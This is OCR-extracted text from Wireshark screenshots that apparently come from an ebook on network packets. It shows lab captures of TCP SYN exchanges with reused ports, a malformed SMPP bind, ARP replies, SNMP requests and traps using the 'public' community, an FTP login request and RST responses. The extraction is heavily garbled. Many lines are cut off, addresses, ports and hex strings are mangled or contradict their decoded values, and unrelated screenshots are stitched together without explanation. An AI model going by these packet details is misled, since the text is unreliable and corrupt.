10 192.168.59.135 192.168.59.131
11 192.168.59.131 192.168.59.135
12 192.168.59.135 192.168.59.131

Protocol

TCcP
SMPP
TCcP
SMPP
TCP
SMPP

108,39 PeacaminntIs iy 5340 5228 LAK SE0R21 ACKIN Wingee

Info

5228 — 53440 [SYN,
53440 —~ 5228 [ACK] Se Ack=1 Win=29312 Le|
SMPP Bind_receiver[Malformed Packet]

5228 — 53440 [ACK] Seg=1 Ack=21 Win=29056 L
SMPP Bind_transmitter

53440 ~ 5228 [ACK] Seq=21 Ack=501 Win=30336
SMPP Bind_transmitter, Bind_transmitter
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» Frame 30: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface © =
~ Ethernet II, Src: aa:bb:cc:dd:11:22 (aa:bb:cc:dd:11:22), Dst: Tp-LinkT_46:70:ba (ec:17
~ Destination: Tp-LinkT_46:7@:ba (ec 70:ba)

Address: Tp-LinkT_46:70:ba (e 70:ba)
..8 e : Globally unique address (factory default)
sees : Individuy; nicast)
~ Source: 122)
111:22)

: Locally administered address (this is NOT
: Individual address (unicast)
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No.  Source Destination ProtoccInfo
5192.168.59.131 192.168.59.135 TCP 54055 - 5228 [SYN] Seq=1979139727 Win=1500 Len=o
6192.168.59.135 192.168.59.131 5228 ~ 54055 [SYN, ACK] Seq=3602706571

8 192.168.59.131 192.168.59.135 [TCP Port numbers reused] 54055 - 5228
9 192.168.59.135 192.168.59.131 - 54055 [SYN, ACK] Seq=3603262943

192.168 Port numbers reused] 54055
192.168.59.131 TCP 5228 — 54055 [SYN, ACK] Seq=3604137494

168.59.131
12 192.168.59.135

59.135 Port numbers reused] 5228
~ 54855 [SYN, ACK] Seq=3605012444

192.168.

.168.59.135

168.59.131 192 5228 [SYN] Seq=19791397

18 192.168.59.135 192.168.59.131 TCP 5228 Ack=1979139732 Win=2
20 192.168.59.131 192.168.59.135 28 [SYN] Seq=1979139732
21192.168.59.135 192.168.59.131 TCP 5228 — 54055 [SYN, ACK] Seq=3606839275 Ack=1979139733 Win=2

23 192.168.59.131 192.168.59.135 TCP__[TCP Port numbers reused] 54055 — 5228 [SYN] Seq=1979139733
24 192.168.59.135 192.168.59.131 TCP 5228 - 54855 [SYN, ACK] Seq=3607738492 Ack=1979139734 Win=2

YN] Seq=1979139734
979139735 Win=2¢

26 192.168.59.131 192.168.59.135 TCP
27 192.168.59.135 192.168.59.131 TCP 5228 — 54055 [SYI

N, ACK] Sex

L
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(W]Apply a display fitter . <Ctrl-/> 3 -] mist. +

No.  Source Destination Protocol Info =
19 Vmware_do Broadcast ARP  Who has 192.168.59.135? Tell 192.168.59.133
20 Vmware_ca: Vmware_de:21:23 ARP 192. .59.135 is at 00:0c:29:ca:ed:66

22 Vmware_ca
23 Vmware_aa
24 Vmware_aa
25 Vmware_ca:
» Frame 21: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface ©

) Ethernet II, Src: 00:00:08_00:00:00 (00:00:0:00:00:00), DSt: Vmware_ca:ed:66 (60:0c:29:ca:ed:6l
» Internet Protocol Version 4, Src: 192.168.59.156, Dst: 192.168.59.135

Vmware_aa:e0:27 who has B 59.156? Tell 192.168.59.135
Vmware_ca:ed:66 P 192.168.59.19N]s at 00:0c:29:aa:e0:27

Vmware_ca:ed:66 Who has 192.168%9.135? Tell 192.168.59.156
Vmware_aa:e0:27  ARP W\ 192.168.59.135 isN\at 00:0c:29:ca:ed:66 -

-

Source Port: 80
Destination Port: 53932
[Stream index: 6]

[TCP Segment Len: ]

Sequence number: 7 (relative géfuence number)

[Next sequence number: 7 ative sequence number)]
Acknowledgment number: 2 elative ack number)

0101 .... = Header Leng 0 bytes (5)

Window size value: 0
[Calculated window size: 6]
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ip.ada 19.182.220.102 X ME 5 i

No. Source Destination Protocol Info

283 192.168.59.133  19.182.220.102 TCP 49213 —~ 40712 [SYN, ACK] Seq=0 Ack=1 Win=8






OEBPS/Image00110.jpg
pe AR
1-1000 mH2

1001-2000 Gl
ol u \
F—AMEa001
‘Wﬁ/ Tm iR
2001-3000 5
F—AME4001
y T g M
4001-5000 R
5001-6000 \






OEBPS/Image00109.jpg
s

11000
1001-2000

2001-3000

30014000

X
4001-5000
5001-6000 \
60017000 \ FA22001
7001-8000 F— 001
KERTER FAR2001
Bt F—ANE2001

2001-3000 —
FANE8001
80019000 =—

9001-10000
10001-11000
10011200 x





OEBPS/Image00230.jpg
1
20 198.13.167.218 192.168.59.133 SNMP  get-response 1.3.6.

21192.168.59.133 198.13.107.218 SNMP  get-next-request 1
‘ v

- simple Network Management Protocol

comnunity: public
~ data: get-next-request (1)
~ get-next-request
request-id: 222961396
error-status: noError (e)
error-index: @
~ variable-bindings: 1 item
~1.3.6.1.2.1.2.2.1.2: Value (Null)
oObject Name: 1.3.6.1.2.1.2.2.1.2 (i50.3.6.1.2.1.2.2.1.2)
value (Null)
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community: public
- data: get-response (2)
~ get-response
request-id: 222961396
error-status: noError (@)
error-index: 0

~ variable-bindings: 1 item
~1.3.6.1.2.1.2.2.1.2.1: 4c4f4f504241434

Object Name: 1.3.6.1.2.1.2.2.1.2.1 (is0.3.6.1.2.1.2.2.1.2.1)
value (OctetString): 4c4f4f504241434b
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L AL+
No Source Destination Protoc: Info

g - T o
» Frame 2: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface 6

» Ethernet II, Src: Vmware ca:ed:66 (00:6c:29:ca:ed:66), DSt: Vmware aa:e0:27 (09:0¢:2
» Internet Protocol Version 4, Src: 192.168.59.135, Dst: 192.168.59.131

Source Port: 8081

Destination Port: 443
[Strean index: 0]
[TCP Segment Len: 0]

Sequence number: 2889139285
Acknowledgment number: 49510
6101 .... = Header Length: 20 bytes (5)

000, ... Reserved: Not set

Nonce: Not set

Congestion Window Reduced, ): Not set
. = ECN-Echo: Not set
. = Urgent: Not set

Acknowledgnent: Set
. = Push: Not set

Reset: Not set

.. ...0 = Fin: Not se

owuywrw v
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root (#1)
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2

directory (1) mgmt (2) experimental ( 3) private (4)
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OEBPS/Image00103.jpg
E——————— | R

No. Source Destination Protocol Info

» Frame 39: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) on int=~
» Ethernet II, Src: Vmware_aa:e0:27 (00:0c:29:aa:ed:27), Dst: Vmware_ca:ed:6
» Internet Protocol Version 4, Src: 192.168.59.131, Dst: 192.168.59.135
~ Transmission Control Protocol, Src Port: 443, Dst Port: 8680, Seq: 1, Ack:
Source Port: 443
Destination Port: 8080
[Stream index: ]
[TCP Segment Len: 20]
Sequence number: 1 (relative sequence number)
[Next sequence number: 21 (relative sequence number)]
Acknowledgment number: 1 (relative ack number)
o161 . Header Length: 20 bytes (5)
~ Flags: 0x010 (ACK)
000. ...

Reserved: Not set
Nonce: Not set

Congestion Window Reduced i Not set
ECN-Echo: Not set
= Urgent: Not set

Acknowledgment : Set
Push: Not set
= Reset: Not set

Sy n: Not set

s il 85 gt o

o)
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No. Source Destination Protocol Info

200.68 192.168.59.133 SNMP

» Frame 2: 85 bytes on wire (680 bits), 85 bytes captured (680 bits) on i
» Ethernet II, Src: Vmware_fd:de:bg (00:0c:29:fd:de:b8), Dst: Vmware ea:{
» Internet Protocol Version 4, Src: 192.168.59.133, Dst: 199.58.200.68

) User Datagram Protocol, Src Port: 37080, Dst Port: 161
inple Network Mai

community: public
- data: get-request (8)
~ get-request
request-id: 1330050988
error-status: nokrror (0)
error-index: ©
- variable-bindings: 1 item
~1.3.6.1.2.1.1.1.0: Value (Null)
Object Name: 1.3.6.1.2.1.1.1.0 (i50.3.6.1.2.1.1.1.0)
value (Null)
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e

No. Source Destination Protocol Info

) User Datagram Protocol, Src Port: 161, Dst Port: 37080

community: public
- data: get-response (2)
- get-response
request-id: 1330050988

error-status: noError (0)

error-index: ©

- variable-bindings: 1 item
~1.3.6.1.2.1.1.1.0: 4465606c20475742d6f662062616e6420534e4d50204:

Object Name: 1.3.6.1.2.1.1.1.0 (i50.3.6.1.2.1.1.1.0)
~ Value (OctetString): 44656c60204f75742d67662062616e6420534edds|
Variable-binding-string: Dell Out-of-band SNMP Agent for Rer
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Destination

2192.168.59.135 192.168.59.131

4192.168.59.135 192.168.59.131

Protocol Info

6192.168.59.135 192.168.59.131 1

§192.168.59.135 192.168.59.131

3884 [RST, ACK] Seq=1 Ack=1 Wif
447560 [RST, ACK] Seq=1 Ack=1 W3
36402 [RST, ACK] Seq=1 Ack=1 Wi

5616 [RST, ACK] Seq=1 Ac

"~ 55921 [RST, ACK] Seq=1 Ack=1 W3
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top Sk
No. Source Destination Protocol Info

2 192.168. TCP 5352 - 56980 [SYN,
3 192.168 168.59.135 56980 ~ 5352 [RS
4192.168.59.131 192.168.59.135 TCP 44572 — 5352 [SYN] Seq=6 Win=1560 Len=6
5192.168.59.135 192.168.59.131 TCP 5352 - 44572 [SYN, ACK] Seq=0 Ac!

192.168.59.131

192.168.5 168.59.135 44572 ~ 5352

7192.168.59.131 192.168.59.135 TCP 53268 — 5352 [SYN] Seq=6 Win=1500 Len=o

192.168. 192.168.59.131 5352 —~ 53268
192.168. 168.59.135 53268
16192.168 192.168.59.135 24747 ~ 5352 [SYN]

11192.168.59.135 192.168.59.131 TCP__ 5352 ~ 24747 [SYN, ACK] Seq=6 Ack=1 Win:

ACK] Seq=6 Ac
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ftp B -] WAR..

Source Destination Protocol Info

8 192.168.59.133 192.168.59.135 FTP Request: USER sm
10 192.168.59.135 192.168.59.133 FTP Response: 331 User name ok, need password.
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mam v
Destination Protocol Info

- Simple Network Management Protocol

comnunity: public
- data: informRequest (6)
~ infornRequest
request-id: -1489971830
error-status: nokrror (0)
error-index: 6
- variable-bindings: 3 items
©1.3.6.1.2.1.1.3.0: ©
Object Name: 1.3.6.1.2.1.1.3.0 (i50.3.6.1.2.1.1.3.6)
Value (Timeticks): @
+1.3.6.1.6.3.1.1.4.1.0: 1.3.6.1.4.1 (i50.3.6.1.4.1)
Object Name: 1.3.6.1.6.3.1.1.4.1.0 (i50.3.6.1.6.3.1.1.4.1.0)
Value (0ID): 1.3.6.1.4.1 (i50.3.6.1.4.1)
~1.3.6.1.2.1.1.1.0: 534€4d50204d616€6167656d656€74
Object Name: 1.3.6.1.2.1.1.1.0 (i50.3.6.1.2.1.1.1.6)
- Value (OctetString): 534e4d56204d616e6167656d656e74
Variable-binding-string: SNMP Management
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No. Source Destination Protocol Info

ser Datagram Protocol, Src Port: 383
~ simple Network Management Protocol
version: version-1 (0)
community: public
~ data: set-request (3)
- set-request
request-id: -1856833960
error-status: noError (6)
error-index: ©

~ variable-bindings: 1 item
~1.3.6.1.2.1.1.1.0: 4c696e757820736e! 0322€362€333920233120534d50.. . .

Object Name: 1.3.6.1.2.1.1.1.0 (is0.3.6.1.2.1.1.1.0)
~ value (OctetString): 4c696e7578207366d7020322e362e333920233120534d50. .

Variable-binding-string: Linux snmp 2.6.39 #1 SMP PREEMPT
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version: version-1 (8)
community: public
- data: trap (4)
- trap
enterprise: 1.3.6.1.4.1.3.1 (i50.3.6.1.4.1.3.1)
agent-addr: 192.168.59.133
generic-trap: linkup (3)
specific-trap: ©
time-stamp: 0
~ variable-bindings: 1 item
~1.3.6.1.2.1.1.1.0: 4150432057656225344d502040616e61676560656e7420. . .
Object Name: 1.3.6.1.2.1.1.1.0 (i50.3.6.1.2.1.1.1.8)
~ value (OctetString): 415043205765622f534e4d50204616e6167656d656e7420
Variable-binding-string: APC Web/SNMP Management Card
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No. Source Destination Protocol Info =

» User Datagram Protocol, Src Port: 60118, Dst Port: 162
- simple Network Management Protocol
version: vac (1)
community: public
~ data: snmpV2-trap (7)
~ snmpv2-trap
request-id: -148659856
error-status: noError ()
error-index: 6
- variable-bindings: 3 items
~1.3.6.1.2.1.1.3.0: 0
object Name: 1.3.6.1.2.1.1.3.0 (50.3.6.1.2.1.1.3.9)
value (Timeticks): 6
~1.3.6.1.6.3.1.1.4.1,0: 1.3.6.1.4.1.3.1 (i50.3.6.1.4
object Name: 1.3.6.1.6.3.1.1.4.1.0 (i50.3.6.1.6.
Value (0I0): 1.3.6.1.4.1.3.1 (150.3.6.1.4.1.3.1
~1.3.6.1.2.1.1.1.0: 4150432057656221534e4d5020406168616765606567420. . .
object Name: 1.3.6.1.2.1.1.1.0 (i50.3.6.1.2.1.1.1.0)
~ Value (Octetstring): 415043265765622f534e4d50204d6166616765665667420. ..
Variable-binding-string: APC Web/SNMP Management Card

.1.3.1)
3.1.1.4.1.0)
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2123.58.191.10 192.168.12.186 TCP 443 > 43612 [ACK] Seg=1 Ack=2 Win=61 L

Fl S —— E— 3
|

4 Transmission Control Protocol, Src Port: 443 (443), Dst Port: 43612 (43612), Seq:
Source Port: 443
Destination Port: 43612 -
[Stream index: @]
[TCP Segment Len: @]
Sequence number: 1  (relative sequence number)
Acknowledgment number: 2 (relative ack number)
Header Length: 32 bytes
4 Flags: 0x010 (ACK)
000, = Reserved: Not set
Nonce: Not set
Congestion Window Reduced (CWR): Not set
ECN-Echo: Not set
= Urgent: Not set =
= Acknowledgment: Set
= Push: Not set
= Reset: Not set
= Syn: Not set
.0 = Fin: Not set
tree ;hg : g
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Frotocol  Info

Tcp 43612 > 443 [ACK] Seq=2 Ack=2 Win=296 |

Source Port: 43612
Destination Port: 443

[Stream index: @]

[TCP Segment Len: @]

Sequence number: 1 relative sequence number)
Acknouledgment number: 1 (relative ack number)
Header Length: 32 bytes

= Reserved: Not set
Nonce: Not set

Congestion Window Reduced (CWR): Not set
ECN-Echo: Not set

= Urgent: Not set
Acknowledgment: Set é——

= Push: Not set

Reset: Not set

= Syn: Not set

> |||||||||||||||||||||||ll!!lII!!!!!!!!!||||||||||||||||||||||||||
[TCP Flags: *®*xxxxpxx:]

& Lo zgualucpiiipmm g [ oy et sy P i
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Wo. Sowrce Destination Protocsl  Info
L 4192.168.12.106 123.58.191.10 TCP 43612 > 443 [ACK] Seq=2 Ack=2 wi..:)sd

1] — —

4 Transmission Control Protocol, Src Port: 43612 (43612), Dst Port: 443 (443).. +
Source Port: 43612
Destination Port: 443
[Stream index: @]
[TCP Segment Len: ©]
Sequence number: 2 ( ive sequence number)
Acknowledgment number: 2 (relative ack number)
Header Length: 32 bytes
4 Flags: @x010 (ACK)
Reserved: Not set
Nonce: Not set
Congestion Window Reduced (CWR): Not set
ECN-Echo: Not set
Urgent: Not set
Acknowledgment: Set
Push: Not set
Reset: Not set
ekl ek} o Syn: Not set
teei +e.. ...@ = Fin: Not set
[TCP Flags: **sxxsprxss]
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